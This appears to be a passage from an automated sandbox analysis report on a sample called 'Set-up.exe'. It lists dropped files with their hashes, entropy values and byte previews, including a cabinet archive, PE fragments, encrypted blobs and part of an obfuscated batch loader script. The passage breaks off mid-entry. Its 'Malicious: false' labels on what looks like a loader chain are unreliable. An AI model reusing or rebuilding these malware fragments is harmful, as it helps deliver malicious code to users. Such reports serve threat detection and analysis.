Preview:	..!......{..}....\..h.+.Z.';)..D....F5fg..G.sSC.V@.E..&5O....@.-...zz...B....V.#.o<..H..P.a\|$..EyS......{....Gm.L....y..._......=.......k.5.%pCW.y.o.3.+T%P.....#...`.`..S.8...Cq.tb.2.U....:Rk.......}J..V8h.wU.[{D^Z....}/..".2.f..\.iPL..9.'...;./.....`I..&..?..}KNq....";W.....t.ru.>..H.w.......5.....M.Y.u.._..v..S.+.....Z..MV....u.<2..^9..}...^.....n.W3x....V(...@.....)3.k...FE.Q...{i)...V....].....7.....X............6...J...'.:....?..,..(:.Y-..h...,.......7..@.8. .T.T.."..r../Q....+...~_.-a4...A.....'G....@..}.-...sB!/`.....p{I/.>...{~...r%I.h..D.... ...".$."....]....8.n......1/....Y.EIx.\|.3)...-.E....d........`.+{......T.c...D`X...\3.{.'.D1\|..,I..[...x...ed..1.)y4.O.K.b..pX0._..i..\.y}.t..=..\|..u.k~E.E.......V.mAL....y...Dk'W..V..e.....T..pQ>2.b..t.<..J~.l.....A..C%p..>'...d........1.B...2.\R<k(......D....2dQ.D.^....>...*.}....G.......p...... h0j].....a..L.v).c.l.Sq.H.....0.I@.\..~..Z<.C...........4.Xz.SH..z.u..".$a....(....~...D

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Hotel

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	6.579906091871505
Encrypted:	false
SSDEEP:	1536:wZwneAJu7QnswIPumV3BxZxu6/sPYcSyRXzW8/uC6LdTmHwANUQlHS3cctlxWbd:wCZEMnVIPPBxT/sZydTmRxlHS3Nxa
MD5:	78D566D45DBD0680F7D821EAE6077822
SHA1:	725609AD4CF18B386443392D38EFEDADE08B808D
SHA-256:	C869DEA4D3E3C4A1F442311663CEE4AE18C8C01339C0EF40DCCE44F4ED858E90
SHA-512:	6225B3F6B7E3BEE9DB6D70397AD362AEEEFD2DD534E482A9C28EEBB9EEC4A663CF8E96F71C338625830A34AD90DAC1F37CC9557FCE7AA7E626AC236FFB0547B6
Malicious:	false
Preview:	H........._..........y............L..........y.I..A.....E.,K.......K.... cL....t.....E.tz3.;F\|.......~X............_..........y............L..........y.I..A.....E.,K.......K.... cL....................H.......E...........f;...q....FD.....E...a.........Y................;............Fh..................j..........f;...z.....FD......k.........c...;........Q....V..N\|..t%.E..}.;.sSW.F.PQ.M.............d....5.V....+.E.;.w#f..f;F4u......A....E.f.@.f;F6..0....}.E........t=.F\|.M....;.u-.~..u'.~..u!f..f;F4u..Fh...........~...i...}.E..N\|;...=T......E.........;.......f.......f#......f;........E.......E.;F\|...S.........E..]..D....E.;F\|...S.........}....E.t0..%....=....u".E.............%............E...........5....FD...........#....E.;F\|..qS.........}....E.t0..%....=....u".E.............%............E................FD...............E.;F\|...S.........}....E.t0..%....=....u".E.............%............E..........._....FD......H....M....E.;F\|...R.........}....E.t0..%....=....u".E.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Initiated

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.996878859880702
Encrypted:	true
SSDEEP:	1536:GwmJiL0RfHYGcMIyAkD7YiMWyTzU/nu5Jwd5wh6:GwmJiWABM4iMxOuojd
MD5:	8910D634FDA8819C8ABEC4DBC9C834E5
SHA1:	DF2D260DEF488FDDEB6A5DF1A7E95E3FC81D0B6D
SHA-256:	8E6E9269C33F4AD1F3DBFC457F132EBB7A6ADDA17083DBA393960A493A1C07B9
SHA-512:	85FA34BE8C935193A0E2609146C120F39B5289059DA3AB7B183B4F545CCFC93661BFECFDE830A94BE8421099C360AEA779CCDC7AE634554EDB138D1F4DAEF247
Malicious:	false
Preview:	.FZ..\...y.'..A......W.P...^Q....].D..........6.......g.J2.}@.#....W.._.4.....Dw2.x....Y.(f....Ti..4......g..9.M..v..zJ.......J.C..CN.K....l.C,..!,..H........8.B.......s..~.N.....9Yx..V.-....nt7.pY..].v4$yS..B.&..~,.....v.....,.]M...p.D.L.M}..m....G.L...B.'.i'.R.U)...H@.....O..h6...x....A.....+./C2.......,.uR....};F...N..#r......[..OH.&.......G.\|R6EA......G.j2,S(.4..."s&........$..G.-.@...N.i5.I..]b8#..U+...A.e..Y........]$.B..0j.^.f.....yqV`c(.l.P.1...D0xnH!(...s..%' ..=f..O...Q..]..m!..P.[C.`...(....=l(Tt...Cb....~..x...`..j..%.%.i:D...y...XJd.#n..........(...q=.Cu2Jds....ns.I.....N{0..Q..#......`R=xW.M.-(....Q".....N".{ a..P1.Fsa....jE..oo..f&..^..V.d..<..{Y......?.L.m..(....Q..W..t..6-G..pP./.._N...:.x&.R0..P...$..........\|.s.q4.9h..u..p....../../%=.&._..e.....I].........)...L.#.>....,.\|w...c...Y$(......7x...5...........sl.......r!:...c5D....-...y.8[....<...<`.....F......+..>.G".E...,`.~cr...6.k.P.[......\|.[.{..ZC.b..l.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Lazy

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	705
Entropy (8bit):	4.18013677788872
Encrypted:	false
SSDEEP:	12:yyGSG+fCtJfjEvadTfA43k66h1ICdC3v6clC11:yyGS9PvCA433C+sCNC11
MD5:	1064DECE319884BF3D6700B0027646B5
SHA1:	414893A76744C518B1B7D015D73299C52C816441
SHA-256:	6A7E06362D504A1415D428D4A1511A35B756DB1B7E75E095B5A4010E18C2A2CC
SHA-512:	0EF82326A4940203E8535330E6DCF9125EB951BE7D1EEF4D22389110E23CE6A1536DAA5E6F25AD1650E49DAB49B39A126F38D5F371FD775E4805CA3D0500B2EC
Malicious:	false
Preview:	BURST........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Meetup

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	Microsoft Cabinet archive data, 489010 bytes, 11 files, at 0x2c +A "Divisions" +A "Hotel", ID 6392, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489010
Entropy (8bit):	7.998351215729239
Encrypted:	true
SSDEEP:	12288:eBpeIziEll5Xz6ETFwCpoEjWmNHgZDGpC:jqnD5XzT+Cpou/HgxGpC
MD5:	3BA9F0B1F5E14DB1EABFD71EAF291C17
SHA1:	1EAF2BD928F7178F5FBEF2C6F74D1119388A7FF5
SHA-256:	81D60A01E22E3C54E38043F3AFA48B20502F208130800FC14FB875D6B4092BE7
SHA-512:	F48C6B48E44E50AA56115353B877B6F1B2CC8D5DDBAB23AE21F220CC5D31C3E92AB16C08196A53FF71E8179284A966271FEE0C45A7BDAAA13D8113870A05EAEE
Malicious:	false
Preview:	MSCF....2v......,...................%........(........$Z.P .Divisions......(....$Z.P .Hotel......<....$Z.P .Statement...........$Z.P .Oh..m........$Z.P .Az..t...I....$Z.P .Alerts...........$Z.P .Mono..l...e....$Z.P .Waves..0........$Z.P .Bookstore..p........$Z.P .Offered......q....$Z.P .Lazy..c...'..CK.;kxT.kH0.!afbK.>..@.@.d.A...."......g&.2.Lb&..z..m...^k{...Zk..Y_(R.O..O\|"..'..G.r.Z..s..sN2V.{..ov.3..^k..^.=...J..J..J..J..J..J..J..J..J..J..J..J.....~....8......;2......`.9....l..0.Wp..y...u+..5+{r.U...L..\.[./t.9...[....<.....4.@.VA.d-... ..j...F...N'....:\|..d..k....@....X..G.e..{.l8.Z.0:.. ...q.(+.c...GG.W'b..Ne^.>f.1...X...%..=.........yR..8.3.8.....SGk.y..U;/dE..B...4..(.c].....j.f'..]..j.Kp...S......=..Y.`.V..n.........,.......k.....Q.>..k5P....=....}4._..ax?..z..y`.......<..V.r...I.w...n...{<..A......k.>..d.s.>..+.>....x..qx...ux.<....n.......}... ..h..X%.N..t.T...U..k.>..veU).j..........o$...f.[....Om.s....2.Vm.......K..K.Z.......or......U..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Monitors

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996818713303986
Encrypted:	true
SSDEEP:	1536:/lu2hX7ARhhJeM2nhNHAknEol3FXwHdslgl0n1:hB7UhXe/nNJw9slgl01
MD5:	A6C6907D13820A4B694423B0820FCB30
SHA1:	F9ECE9107D57EDE9849438F4F9893AC281308744
SHA-256:	00B2FB43E57410051BD202CB2E7EE0B7C720460D1E5B6D0663887CAA8B01049B
SHA-512:	82C3DA34C932E47B1161AF6CE7372CF3AB8373E1411999594644F6544AAC4BA5304A72CCFCA485E92B8DDE5AAB45C817C395905EF72544A58CD9C0846C509286
Malicious:	false
Preview:	..X..ZZI.f$OL.^.m.9/Z..~..Mg.L.Wy..]..\|...h^..\vIWR.p.....L..zh.3.$..}.H}..../.YrV>X..~...K....n..7.........n;.......}.o.0..m.k\|.Z...f..=... .vd<.>.\|.<..'M..y.?c#9XJ.(.9d:z..Q...3c.T....7.[....bZ....(..Y]r.3.>N.k..A.t.).....u0.F.$.L....Ef..so.c'.....+H....G....e.......,....Q\|ID&./y..=.....wn.(.....N..P<......zs..v9.9.F...3..v...;P/.....K...-.V.G...F.......Sq.H.U.tF....\...........66<7.<n.$.%/(....@.x...3...1\]b.=..Hua.2o..W..Y...q.....!.&.U5.%.......f<._=..kZF>..j.....R.02...=......#.n....q)...L....p.....~...4~a..rF.....s... ..x.~z.9b..8....(..1C.U.......C..I..+6.u......id.1.0b!.....@.zO.dz].38..._xz.e.B.h......3{........Pt..x..q.. /=.h....."..F...}. OY....&..#.....u.kS6y....2..._....F....).HI...3X..Oo^.F.n$4/...gs.;. ...OmE...R.k..:...HG.C...N..N.@1E......e...o.=..={........[..G4...>]0MB..........R..n.f..E...<6YC.K..wH..k....%%.k....a.a.i..9.n6^.l..t...*..&....J(e..C...a..l.....b.n..t.uS.Y....].brc...0...\|...C.(.p.BC..>7XY..l...7.]=S.....c..C...~.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Mono

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	108544
Entropy (8bit):	6.257228188233594
Encrypted:	false
SSDEEP:	3072:vZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laK:vK5vPeDkjGgQaE/lx
MD5:	1FDDC4ED20C29E234EBD94663EDE1A32
SHA1:	00CA98AF52F8A9AD20D810339B49B99C81F203D0
SHA-256:	A54E1FF4A1737DF5DD624A8C177CBC1D70ED313A49951A84F199F767A2EE0CF0
SHA-512:	328AACB764896F54CBACC127B69F7129E6469E5508D7C88BBE807D2B1731AC9F60D320842B71F8C87ADF4DB18A2E22FD5787092D36BCE7A2F897F5CB21AEF443
Malicious:	false
Preview:	.0...x..................@..B.........................................................................................................................................................................................................................................................................................................t.M.....hi'D......Y.hs'D......Y..r...hx'D......Y..\|X..h}'D......Y.Q.I...h.'D.....Y.0$M.Q.@..0$M.P.=B..h.'D.....Y...C..h.'D.....Y.....h.'D..}...Y..+O..h.'D..l...Y..!...h.'D..[...Y.45M....h.'D..E...Y.U....SVW.}.....e....E..E..w..E..E.E.E............v..G..H..z....E....v..G..H..g....E....v..O..I..T....E...v..O..I..A....E...v..O..I.......E...v..O..I.......E..O..1...?}...u..N..u..u..u..u..u..u..1........p.....u.........F.....3._..^[....U..V.u.3.W.~....p....N.j.j.P..j.j....Pj......u..........>3._.F.....^]...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Offered

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	6.726756212624294
Encrypted:	false
SSDEEP:	1536:hcLSDOSpZ+Sh+I+FrbCyI7P4Cxi8q0vQEcmFdni8yDGVFE5gOHu1CwCMIA:6ODOSpQSAU4CE0Imbi80PU
MD5:	E04ADE289338F7E99F6163771CAEFF55
SHA1:	221E86BAF8801D970E7AD9C24195C0A991B01882
SHA-256:	3F8B178C61A5D3BD1B38EE245AA96B468A15E6E583C5210F84FFB9B6EC0431DA
SHA-512:	530726BBA82B9CA02A4953E0A9619DE1DD62FA8A13B5C121232786D4F972F509ACF2BFE13D5E99E24A62C1317D698E7C978C2FB5ED4DEF59FBE58C31B8C3BD78
Malicious:	false
Preview:	...u.............L.VW.;..[....3..u..3......................}.].j Y+.3...3...;.r`9.t..3.M.3.........I...E....L......u.......@.3.M.3...M...M.;M.u.j Y;E.t..M..M...E......t.W........L.Y..3...j Y+...M.3...L............P......P._3.^.M.3.[.?.....]..U.......E.V...0..u............L...S.....W.~.3.v.3.3.......;.......+........;.w...<0..u.j _;.r.j.WS.q...j..E.......M......u(j..~.WS.Q...j..E.......M......u.............E..4....L..}....j Y+.3....3...L..E..+......;.....#.U.t..U.3.@...I.;E.u..E..@..0.E*..S.......]........G.P......V...A.............A.3._[^..]..U...u.h..M..^...YY]..U..Q.E..E..E.Pj.."...YY..]..U..V.u...u.....(..;F.u....L....j Y+.3...3...L....F..F.3.^]..U..QQ.E..E..E..E..E.Pj......YY..].h..L....M..3,.....h..M.......$..M..w...Y............L.Vj ...3.Y+...35..L.V.....V..,..V.U...V.....V.G+.......^.j......Y...L....V....u....L....L.;.t.P.....Y.5..L..5..M.......5..M.3..5..M.......5."M..5..M.......5."M..5."M.........5."M...^.h.(J.h.'J.....YY.h.(J.h.'J..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Oh

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	5.985251154802999
Encrypted:	false
SSDEEP:	3072:z640ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbjaAtsPN:u4V14ZgP0JaAOz04phdy1
MD5:	F1DA0B23149EE3B281F610BAF62825F1
SHA1:	0640AF421D6644A934B1A3BF4A6712D7369B53D9
SHA-256:	D18D00E17C90C17D48BBC513B6AC9C5CDCD845A036E1FD2408057E79DB160098
SHA-512:	1534C8ED3F1AC2C1AF9F858D1783C9CA29318EED7B08AC91D6CC798EB38A5F2170AC9F8371DCA435A6490D4EB10836E5274D7085D7EB50A27B5277A7FE1194CC
Malicious:	false
Preview:	<.t....;.....t.j..u... .I...j.WQ..........<.t.<.t....t.j'3.PPPPP.7....I.3...........U......H..$VWP.D$.P.u...J......W....L$..@)M.....L$....T)M..T$.....0......<...)...<...!...<.......<.......<.......<.......<.......<.......<.........E.3...4)M.......\|$0.D$$.\|$4.\|$8.\|$<.\|$H.\|$L.D$ 0......D$(.L$@...D$,.E..D$D....................-.....T)M.........yP.t4.yX.t..qP..<.I..T)M.h..I.......`P..T)M........T.)....L$..~P.......D$(.D$..D$,..uAW.54)M......W......PPPP..E.........PWh.L.j...D.I............~P...D$ Pj.h3...W..H.I..D$ Pj.h2...W..H.I..u..NT....3.@....9~Pt..vP..<.I...4)M.WQW.6.....PPPP..E.........PWh.L.j...D.I.....td.D$ Pj.h2...W..H.I..u..NT.~P......D$.P..D.I.P....I..t$..5H.I.j.h....W..}....d....u..u.h!...W...Q...3._^..]...U..V.u........tGS.].S......5d)M.hP)M.V.].....u$W........t........j.W.^...YY......._.#.[^]...U..Q.h)M..U..E...t2..9.t..@....I....x..u..p.....I..E..h)M.P.\...3.@..3.....U..E....wf.$..zI.h.....]h.....Vh.....Oh.....Hh.....Ah.....:h.....3h.....,h.....%h......h......h......h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Ranks

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	7.997975046298324
Encrypted:	true
SSDEEP:	1536:9Ps99WM0mluMOCFgdwtqK5ohUQJu+fF+koommWu+WMCIdYW9X9hL9jlEeNvkolER:g9xllS2tqKCNfF+kooPMB9TL9jlPJle
MD5:	5097DB4521C52386897A6AFAD3A2962E
SHA1:	3424D5E04878130D81B3EC33DF41894A36BB2FB6
SHA-256:	568A22449644F3B77689522E56FD924107A90BB86AD1EFEAF56865AE6D42A9AF
SHA-512:	56F05A6D6C9F5EE081C3ABF03DCC7321254BAE1408E57D29EDE2F2109AF6C9A454C38A62F7BB49C868D7E41EE0DC688ACF546FD85C7CE2CF7F1EE1666C49EAED
Malicious:	false
Preview:	8..$.....:.0fd&.M..(..\|Z6..m.sQ';Z..6...y~g_..Ir..b.=.w.9%LX.0.J......P..\|.C.K.j. \....pDi.....T..n.$......P...X.."..:zj.o).R_.....H(.c.S..kivAL..g..;...A..p;Y-L....S.'.:.N9oe .d........A....'..]s....cj.%..\.Nsh..f.t....]jJY,.5^".h/.v......w".7.m.....Ca.........:.&.l.......P..:r..$%....!.p...~W_W..9.IsI..+..KP.Cj .cy.....:....n.[z:()... .N@.....3(..)............db.s..\|.{.~..{..@.7~a..p5....\|{.....BGr.I.5."....;.^...+b=...F.X..x.2^.;.7..M._A..9..0..M...b....=J..1...v.!.u......)....#.Y.t..9..q..wu..;..."Z.e-\|.V...r.!j..z.'.........gN1...<.h&.Y....Z..v.ko%.Q...$...,(.#...a.f}.i...W.:.i..U:\|...x;..zb9....\Bd......WO +......P-.yv......G...6/......\|...........z...'d......^....{.<.9.-...^..X..-..t....~@%d..J..d...q.+.n.W6f=?1.-.1T>R.U.1LE......{-.+..k....{..xP../.`..[.d]/.u...=...6B.t..cvS.==a.~EQ..*v...0..{.....\........$$.....0.........p.?.........$..NO. ..[]7Q.).M....XE.$. qo.$..8...7..>...p....{.....n...W..~j..?.E..%...o.667.!C...z..X..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Spoken

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	data
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	7.997624204388502
Encrypted:	true
SSDEEP:	1536:APFwhuSCCtrcy1G+oqcIrU7RTCmpI5chBEaoePB5adACN6h1CKH:APFwhvCCtrcCG+oaYxpI5Cmi+Qh1CA
MD5:	1C02C2606432BEB35D2596713369ECFB
SHA1:	7B96D324D21E3DE201F7F4AB91D53AE8E96C8B66
SHA-256:	BA268F88B6FAB05BEF777A7B4793F72046229321F7B98EF1DF106EDEAB30FD4B
SHA-512:	081DF1D7F0F67A99B18CCA4A70869AE8DEAAF1EA58830F33AF07A567C77CC3A1B75822FF077EF76A53C35230BCE60D6FD9EFF71782CE6CCA23B4692CCB70AFDF
Malicious:	false
Preview:	.M...HC...=..2....5.D..[(.9..2AI...>.T..k....;...5ja.Q.\..y...'@..O..r...<E.....t2.K...c..O.\....H....aW#.....Vf'5.3.1n-O.....=.n.....,m..I.`T...A[..\|?a6...2...,..s.[.....CIW!....v.q...k.....B..]PL]G.L....AP..=:.C...4.5.H...0.....;5w./.uhb...V......ey..).+.F..8L..d.....t..Q.../V......-....)iK.X.k.1.ki...V..)...Uz......P..R+...xV.^.Fj...R/.S!.(..`...I..Z...u_.9h0.C.....;...w.q.7.S.D.&k....ms?r_KJ..n.8].....lI/....T..J...ZR..L2l...n..e...f..B.P#.. ......3..y..?.X..f..2=.5%.....{.L..b...,.sD..J.S_I.......I.82w.-..p..M..u.p.g._..q........GAP.V.3.'.?..g...o.fIZ..ZfL.t1&3.U......n.w.6U...:.[..........y.m.=..V!.\.e..A.=.Q.Qu....kQ#....}.t.\..'m....c..-.V0.j.J.....#..I...K..Y..@Vb.^...c..!..m.5@n%.}....s.F.L(......:...r.r..Q.3.s.......ZE..m21..t3..MU...m.FK.A.<F...+V...BZ........pp..9}..B.J.'.R..i6...M.( SJ.!A.!...d.]WN....<..A7Aw...'.7..&.J.......N.C.....V.......-....... N..U..J.%M>....Qqe)98...u..1..z(.W....................tG&...dk.....sf<e.)`.;U.2F).qv

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Statement

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	6.695866315254498
Encrypted:	false
SSDEEP:	3072:aHSBRtNPnj0nEoXnmowS2u5hVOoQ7t8T6pUV:ZNPj0nEo3tb2j6AUV
MD5:	E8C044B6537EA10D3C92226A437E5381
SHA1:	71CBC8737B7B5C75C9C99FE3D8DB8849D8C672C1
SHA-256:	DCC66420E8487929A228901794D05108FCA0DF2E49E3CB717A38051647491788
SHA-512:	B9C7E7C666F18BFEF003DE6FCD12157C5A9FD481D2A2227DC138C6936FE7D17BCD3D070CA3D35F6910CFF61B2136CE0852B290A27A29DBF40EAEEE7F9563C0F2
Malicious:	false
Preview:	.......j)Yj>.M..3.Yf;....U.......U.3.E..jv..T...Xf...u.j.X....x.....u.j0_....U.f;.r=....j9Xf;.w.k...w......u.......;...5$.........f;.p...s.U.j)Xf9...$$..f...M(j.X..].E.+A...@f..3.f.B.j.X...]2..............F.j!..Z;.......j=Zf;............f;....#...E(..j.[..@.......#...r....j0.u....Y.].u.f;.r.j9Yf;...R$.........f;.w7.M(..j.[.y.......U...8t..r..u........u.f;.h...v.].M.+M....},..M...5....U(j<_j>.B@@.E.3.f;.[...H.....f9....#...z0.'.....#...A.;B4~.j .B4X;....#...z(3...9B0~`;O.u?..Q.M.....Y..u,.E.9G.t=.E........"...U(.E.Bx.M.C...;Z0\|....U(.E.9G.u.E...A........U(.u..B0;.\|x.](.K8;.\|@.<.k..P......Y....d"..kC8.P.s(V.Vh......{8.~..s(.p...Y.C0.s(.{8.U.k...C(...kK0..C(.U..T..kK0..C(.U.T...C0.u..M(j.X...u...-..j._......U.......}..-...E..j.X....M.....&..3...E...+.......#...]..E.SP.N..U..'.....3.YY.u.9...."...E..M...+..............](..f;.w0.{...j.[......U..8t.........f;.h...v..](.....j#Xf;.......j.X....>f..t........K...t';.sM.u.......WQ...........t4...4V.q............+.;.w.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Up

Download File

Process:	C:\Users\user\Desktop\'Set-up.exe
File Type:	ASCII text, with very long lines (1836), with CRLF line terminators
Category:	dropped
Size (bytes):	32065
Entropy (8bit):	5.119328443027989
Encrypted:	false
SSDEEP:	768:PXw0zb3fpzvFlIZiQogQpHGK3P3WLk1+LCD+B:PZ3fpT/1QzQpHGcWLk1+LCD+B
MD5:	CAB96E167E337A1D6D86E63A81A35545
SHA1:	3D8A124FEA249CCC0C75A23DBBF60DC80C7E1A83
SHA-256:	2306FEFCD0DD8A2E0D5455AAD26ABEE68AD9A9F9CE38222CFB36E0BFE467CE62
SHA-512:	9F464ADAEEE13B2873150E46A94ABF8DF69C9765CA1114B3D0E4D910FA92E4444CA08BBD9BC0C9A87BFB87518D65F5976C54C530DCDD41B82C2B3643761EB199
Malicious:	false
Preview:	Set Temporary=/..yIzLSpell-..gNReviewed-Cosmetic-Dive-..xjiMRestrictions-Jill-Sunday-Biological-Gathering-Level-Geographic-Suggest-..hNLaCurious-This-Humanitarian-Contributors-Proud-Forum-Deborah-Marking-Deleted-..nPvFacilitate-Must-Poem-..GjcDemanding-Mighty-Worried-Credit-..Set Story=A..bJUhExtent-Terrain-Grass-Leather-Lime-Novels-Agency-Unlike-Thoroughly-..jNdsTaught-Films-Typing-Cement-Rp-Changed-Sequence-Terrorists-Explicit-..sseXPrevention-Checked-Titled-..rUvxComprehensive-Mentor-Trouble-Its-Cute-Salon-Recognized-Kodak-Made-..yyNKids-Review-Loose-Zoom-Author-Speech-Comfortable-..ZYAircraft-Bedrooms-Subscribers-Leaving-Donor-Assessing-..Set Broadcasting=V..chACovered-Milk-Blast-Ted-..HWVice-Slow-..SHTBeads-Correspondence-Necessary-Revisions-Www-Skiing-Pr-..WQOnLived-Consideration-Queue-Floppy-Flashing-Subcommittee-Chips-Dead-..CsAfDimension-Brutal-Montana-Advances-Arranged-Bedroom-Nike-Thomas-Cbs-..ABDBCigarettes-Asus-Il-Close-Bangbus-Pitch-..ypAOItsa-Engaged-Peter-Diet-Dense-Pri

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Up.cmd (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1836), with CRLF line terminators
Category:	dropped
Size (bytes):	32065
Entropy (8bit):	5.119328443027989
Encrypted:	false
SSDEEP:	768:PXw0zb3fpzvFlIZiQogQpHGK3P3WLk1+LCD+B:PZ3fpT/1QzQpHGcWLk1+LCD+B
MD5:	CAB96E167E337A1D6D86E63A81A35545
SHA1:	3D8A124FEA249CCC0C75A23DBBF60DC80C7E1A83
SHA-256:	2306FEFCD0DD8A2E0D5455AAD26ABEE68AD9A9F9CE38222CFB36E0BFE467CE62
SHA-512:	9F464ADAEEE13B2873150E46A94ABF8DF69C9765CA1114B3D0E4D910FA92E4444CA08BBD9BC0C9A87BFB87518D65F5976C54C530DCDD41B82C2B3643761EB199
Malicious:	false
Preview:	Set Temporary=/..yIzLSpell-..gNReviewed-Cosmetic-Dive-..xjiMRestrictions-Jill-Sunday-Biological-Gathering-Level-Geographic-Suggest-..hNLaCurious-This-Humanitarian-Contributors-Proud-Forum-Deborah-Marking-Deleted-..nPvFacilitate-Must-Poem-..GjcDemanding-Mighty-Worried-Credit-..Set Story=A..bJUhExtent-Terrain-Grass-Leather-Lime-Novels-Agency-Unlike-Thoroughly-..jNdsTaught-Films-Typing-Cement-Rp-Changed-Sequence-Terrorists-Explicit-..sseXPrevention-Checked-Titled-..rUvxComprehensive-Mentor-Trouble-Its-Cute-Salon-Recognized-Kodak-Made-..yyNKids-Review-Loose-Zoom-Author-Speech-Comfortable-..ZYAircraft-Bedrooms-Subscribers-Leaving-Donor-Assessing-..Set Broadcasting=V..chACovered-Milk-Blast-Ted-..HWVice-Slow-..SHTBeads-Correspondence-Necessary-Revisions-Www-Skiing-Pr-..WQOnLived-Consideration-Queue-Floppy-Flashing-Subcommittee-Chips-Dead-..CsAfDimension-Brutal-Montana-Advances-Arranged-Bedroom-Nike-Thomas-Cbs-..ABDBCigarettes-Asus-Il-Close-Bangbus-Pitch-..ypAOItsa-Engaged-Peter-Diet-Dense-Pri

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Waves

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	93184
Entropy (8bit):	6.674449122025139
Encrypted:	false
SSDEEP:	1536:QXw2U0pkzUWBh2zGc/xv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eOypx:D2UDQWf05mjccBiqXvpgF4qv+32eOy3
MD5:	E7B2C614A3FFF27B16910A2164A65D4E
SHA1:	E68ECA6381EE6C718E3CB7F45CAE5B0AF69400B9
SHA-256:	60FE4DC18FBBDDF7B423397784A2DF41A1DEBD3095D2EA5BBA7B5E38F00A43C9
SHA-512:	A5360FFF00DE50F01217EF86FFFE5A4C9D5700CEB0E316D7D6A0B41E63B52BA9070FEA1B016EBB8B67D032540A17300E181E89E6996A33A4122BBF474ED9DBB9
Malicious:	false
Preview:	.u6.E.......M.E......\|.M..E.G..W..A..G..A..G._^[.....}.j0.LJ....Y.N..i....?.u..7.f...N..E....C..F..C .F .C$.F$.C.;.t.P....j...J..Y.s(...?...3.F(9M.~..E..P...9.t.A...;M.\|.U....U..B.....0.E...u..[..u.....f....}.M.."....p...U..QSVW..h.....]..I...}...Y...R..V.3................~.j.Yj.[..B.....1..;.....\|.]...3..............~.j......[..B.....1..;.....\|.]...3.j.Z.x..3.F..........Q.5I..Y..3..A...9p.~(.<..t)j...H..Y.4.... ......I......F;p.\|._^[.....@..$....U..V.u...f...._....^]...V....-..j..F......H..Y.........^.SV..W3.j...H.I..~..F......eH.......S..@.I..x..x..x..F..xH..YY.F...F..<....;.\|.j..-H..Y_.......F...^[.U..S.].V..W..@.I..C..F.........j.Z;.r...V.3..j.Z.........Q..H..3..F.Y9~.v.j...G..Y.K.........N....G;~.r._..^[]...U..U.V....H.I..J..N..B..F..B..F..B..F..B..F...=..........@....^]...U..V........E..t.j.V.?G..YY..^]...U..QV..N...H.I......umSW3.F..<...u6.........\|.P.GG..Y.N._[..t...j...j..v...F..YY..8.I.^..O(.G..E...t.Q.=...Q........E.....u.F..=....t.H....V..N......j0

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\4ab57c86

Download File

Process:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
